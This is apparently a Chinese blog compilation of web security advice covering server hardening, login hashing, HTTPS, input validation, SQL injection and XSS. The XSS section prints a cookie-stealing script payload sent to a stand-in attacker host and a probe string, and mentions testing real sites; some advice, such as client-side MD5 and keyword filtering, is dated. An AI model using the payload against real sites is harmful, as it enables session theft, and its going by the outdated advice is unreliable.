web程序的安全性设计
开发web应用的时候，在安全性需要注意哪些方面呢？搜集资料，简要记录如下:
一个网站，安全问题可能从多方面而来。光是任何一方面，都不可能保证绝对的安全。一个安全的网站，必须要各方面配合才能打造出来。安全性要从两方面来考虑，一个是系统管理方面的安全性，一个是应用程序的安全性。
一、系统管理方面的安全性考虑
服务器本身如果被人入侵了，你的网站系统再安全，那也没有任何作用。记得要关闭所有没有使用的端口。要设置复杂的密码，关闭没有使用的账户。
如果人家破解了你的FTP 或者远程管理权限，那也就等于窗户开给人家怕，那家里的东西自然是随便拿了。
设置数据库只有应用服务器才能连接。其他外部的机器一概不能连接。设置复杂的密码
8 、使用防火墙、入侵检测、WEB 安全网关等安全软件来保护系统。
传统的用户验证过程如下：将客户端输入的验证信息进行MD5 加密形成“ 密文 1” ，发送到服务器端，服务器端从数据库读出验证信息的MD5 值（密文2 ），然后“ 密文1” 与“ 密文2” 对比，若相等则认证成功，否则失败。 但是，如果“ 密文1” 在传输过程中被非法获取，非法用户即使不知道“ 密文1” 的内容，直接向服务器发送“密文1” 并请求验证，则验证可能成功，用户的真实 性无法保证。因此，需要对用户的验证过程进行改进。在客户端请求验证的同时，通过Ajax 技术异步向服务器申请一个临时的验证码，客户端将用户信息进行n 次MD5 混合运算后生成“ 密文1” ，附加验证码一起发送到服务器，服务器首先检查验证码是否与服务器端一致，若一致，到数据库中检索是否存在“ 密文1” 的 用户，存在则成功，否则失败。验证码是改进后的验证关键，同时验证码还可以防止入侵者使用程序自动登录服务器，进行密码的暴力破解。因此，技术上要求不能 被复制，不能被扫描仪自动识别，随机生成。采用模糊的图片方式才能达到要求。
2 、使用HTTPS 进行用户身份认证。如果不采用这条，至少要采用第一条。
有些系统只在客户端进行验证，这是很不安全的。因为在传输过程中有可能被恶意篡改，服务器得到的将不是真实的数据，或者直接在URL 中输验证请求，将会绕过客户端的验证程序，提交不安全的数据。因此，可以采用双重验证的方式，客户端 的验证可以提高与用户的交互性，服务器端的验证保证数据的安全性。
SQL 注入式攻击是指在输入框或URL 中输入SQL 语句，绕过验证程序，非法获取用户的访问权，进行非法操作的入侵方式。防御SQL 注入式攻击的方法常用两种，一种是使用数据库管理系统的存储过程，另一种是对输入的信息和URL 请求信息中的敏感关键字过滤。
怎样防止SQL 注入？
比如URL 、表单等提交信息时，通过一段防止SQL 注入的过滤代码即可防止出错信息暴露，或者通过转向，当系统出错时转到一个提示出错的页面等。同时服务器权限设置是一个非常重要的方面，由于涉及到服务器的配置比较多，本文不介绍。
对于文本型输入，如果要进行检查，就得根据字段本身的性质进行。例如如果是年龄，就得限定必须是数字，大小必须限定在一个范围之间，比如说18-120 之间。对于用户名，应该建立一个集合，这个集合里存放有被允许的字符，或被禁止的字符。
这里特别需要说明的一点是关于检查程序的问题。目前，程序对输入数据的检查是在前台通过客户端脚本完成的，这样攻击者很容易就可以绕过检查程序。建议采用前后台结合的方法，既可以保证效率，有可以提高安全性。
6 、网站的错误信息必须经过处理后再输出
错误消息常常包含非常可怕的技术细节，帮助黑客攻破您的网站，您应当对网站底层程序的错误消息进行处理，防止那些调试信息，技术细节暴露给普通访问者。
7 、抗Cross-Site Scripting
风险：
可以偷盗或者操作用户Session 和Cookie ，这样攻击者可以扮演一个合法的客户进行操作。
技术说明：
Cross-Site Scripting 是一种秘密攻击行为，它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一个事实：网站未对用户在页面中输入的JavaScript （通常是作为参数值）进行清洗（消毒）。这样，当在返回信息中包含这段JavaScript 代码，这段代码就会在客户端的Browser 中执行。这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行，收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie ，
攻击者会做进一步处理：攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接，将会向包含恶意代码作为参数的网站发起一个请求。如果这个网站将这串参数值（恶意代码）嵌入在返回中，恶意代码将在客户端的浏览器中执行：
恶意代码可能会做：
1. 将用户的cookie 发送给攻击者
2. 将能够通过Dom(URLs, Form field 。。。) 取到的信息发送给攻击者，结果是客户的安全性受到了威胁。
一些注释：
1. 虽然攻击者的Web Site 也被卷入，但是并没有直接包含进来。攻击者通过采用“jump station ”方式将返回客户，好像是合法的（It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate. ）。无论如何，由于用户是在使用这个特定的网站，而且是这个网站的直接返回，因此可以认为是这个网站的安全漏洞。
2. 这个怀有恶意的链接由攻击者生成，可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email 的方式发送给受害人。
3 ．由于用户输入是作为form 的字段值，可以知道这串恶意代码从什么地方来的，
4. 各种浏览器实现的不一样，有时候在这种浏览器上没有问题，但是换一种浏览器就会有问题。
攻击方法：
写一个链接： 参数值为：
|
<SCRIPT> document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie </SCRIPT> |
这样，当服务器返回时，上面这串脚本将自动执行，将本地的Cookie 发现指定的URL ，用户资料泄露了。
根本原因：
1. 没有对输入进行约束，没有对输出进行编码
2. 没有严格区分“ 数据” 和“ 代码”
解决方式：
1. 加强对参数的校验：
一定要做，大量的漏洞都是针对参数未作校验引出很多攻击手法( 会有如何检查参数的单独说明)
使用时机：
我尝试在各种不同网站寻找 XSS 漏洞， baidu, amazon.cn, youku.com,dangdang.com 等等。结果，我发现XSS 漏洞非常普遍！其实XSS 利用的是网页的回显，即，接收用户的输入，然后再在页面 显示用户的输入。总结一下几个可能会出现漏洞的地方：
1. 搜索引擎
2. 留言板
3. 错误页面
通过在上面那些类型的页面输入一些特殊的字符（包括< > / " ），如：</?jjkk> ，然后在结果页中的源码处搜索是否存在原样的：</?jjkk> ，如果存在，恭喜你，发现了一个XSS 漏洞。
危害：
1. 盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
2. 控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
3. 盗窃企业重要的具有商业价值的资料
4. 非法转账
5. 强制发送电子邮件
6. 网站挂马
7. 控制受害者机器向其它网站发起攻击
发现问题：
1. 查找所有包含用户输入的入口。
2. 跟踪流入应用程序的每一个数据。
3. 确定数据是否与输出有关系。
4. 如果与输出有关，它是不是原始数据，是不是经过处理的？
